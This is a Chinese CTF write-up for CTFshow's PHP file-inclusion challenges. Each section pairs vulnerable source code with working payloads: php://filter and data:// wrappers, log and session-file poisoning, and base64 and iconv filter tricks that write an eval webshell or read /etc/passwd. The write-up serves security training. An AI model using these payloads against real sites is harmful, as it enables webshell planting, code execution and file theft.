[CTFshow] 文件包含

发布于 2021-10-06  104 次阅读


web78

<?php
if(isset($_GET['file'])){
   $file = $_GET['file'];
   include($file);
}else{
   highlight_file(__FILE__);
}

最基本的文件包含,直接使用php伪协议读取flag.php

?file=php://filter/convert.base64-encode/resource=flag.php

web79

<?php

if(isset($_GET['file'])){
   $file = $_GET['file'];
   $file = str_replace("php", "???", $file);
   include($file);
}else{
   highlight_file(__FILE__);
}

把php过滤了,因此之前的伪协议就不能使用了,只用 data伪协议进行命令执行。

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

web80

<?php
if(isset($_GET['file'])){
   $file = $_GET['file'];
   $file = str_replace("php", "???", $file);
   $file = str_replace("data", "???", $file);
   include($file);
}else{
   highlight_file(__FILE__);
}

data也被过滤了,到这里 就没有思路了。

根据题目提示,访问日志文件

image-20211005144121653

发现日志文件会保存,GET请求和User-Agent请求头,因此在请求头包含一句话木马进行getshell

image-20211005144622356

这里要注意,因为php代码被包含进index.php中,经过中间件解析之后,不会显示,一次看到日志文件中请求头处为空,是正常现象。连接webshell管理工具获取flag

web81

<?php
if(isset($_GET['file'])){
   $file = $_GET['file'];
   $file = str_replace("php", "???", $file);
   $file = str_replace("data", "???", $file);
   $file = str_replace(":", "???", $file);
   include($file);
}else{
   highlight_file(__FILE__);
}

多过滤了一个冒号,还是沿用上一题的方法即可。

web82

<?php

if(isset($_GET['file'])){
   $file = $_GET['file'];
   $file = str_replace("php", "???", $file);
   $file = str_replace("data", "???", $file);
   $file = str_replace(":", "???", $file);
   $file = str_replace(".", "???", $file);
   include($file);
}else{
   highlight_file(__FILE__);
}

点被过滤了,访问不了日志文件,只能从别的方面入手

这里推荐一个session文件包含的文章

https://blog.csdn.net/qq_38154820/article/details/120300273

web83-86

Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:28:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_unset();
session_destroy();

if(isset($_GET['file'])){
   $file = $_GET['file'];
   $file = str_replace("php", "???", $file);
   $file = str_replace("data", "???", $file);
   $file = str_replace(":", "???", $file);
   $file = str_replace(".", "???", $file);

   include($file);
}else{
   highlight_file(__FILE__);
}

这里 多了一个 session_destroy()只需要在提交表单中 加上 sessions_stat()就可以了,这里我们采用第二种解法,手动上传

<!DOCTYPE html>
<html>
<body>
<form action="" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

本地生成 该HTML文件,然后使用 bp抓包,请求头处添加Cookie: PHPSESSID=husins,然后进行重复发包。

同时访问?file=/tmp/sess_husins,直到访问成功为止。

附上别的大佬的文章:

https://www.cnblogs.com/NPFS/p/13795170.html

web87

<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

看到file_put_contents第一个想法就是使用伪协议进行getshell,但是有两个问题,第一个是替代使得伪协议没有办法正常的使用,第二个content字段,拼接了die()函数,导致我们后面的参数没有办法正常的执行。

第一点还是很好绕过的,因为多了一个urldecode这个函数,两次url编码即可。第二点的绕过,可以使用下面连接里面P神的文章介绍的方法,进行绕过。

https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#reply-list

因此payload为:

php://filter/write=convert.base64-decode/resource=shell.php 进行两次url编码 这里进行URL编码推荐使用BP,可以对所有字符机型编码
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30
对一句话木马<?php @eval($_POST[8]);?>进行base64编码,可得
PD9waHAgQGV2YWwoJF9QT1NUWzhdKTs/Pg==
因为前面拼接的<?php die('大佬别秀了');?> base64 只会对phpdie 进行编码,又因为base64是四个字节一组,所以要绕过必需在加两个字节,因此完整的post传参为:
content=aaPD9waHAgQGV2YWwoJF9QT1NUWzhdKTs/Pg==

web88

<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);

过滤了很多,但是没有过滤,data伪协议,可以使用database64进行绕过

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTs
# 这里要注意,本身base64加密之后是存在等号的,但是等号被过滤了,这里我们直接去掉就好了,因为在解码的时候会自动被填充上。

web116

打开题目,发现是一个视频,尝试扫描目录没有扫描到,根据提示:

?file=/etc/passwd

下载之后010打开,得到

image-20211006150518537

读取index.php的文件可得

?file=/var/www/html/index.php
<?php
error_reporting(0);
function filter($x){
if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=isset($_GET['file'])?$_GET['file']:"5.mp4";
filter($file);
header('Content-Type: video/mp4');
header("Content-Length: $file");
readfile($file);
?>

根据过滤,直接读取flag文件内容

?file=/var/www/html/flag.php

web117

<?php

/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 18:16:59

*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

审计题目,应该和web88的思路是一样的,但是base64root13都不能用了,这里采用其他字符集

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]1;)>?

详细内容可以参照yu师傅的博客

https://blog.csdn.net/miuzzx/article/details/116205407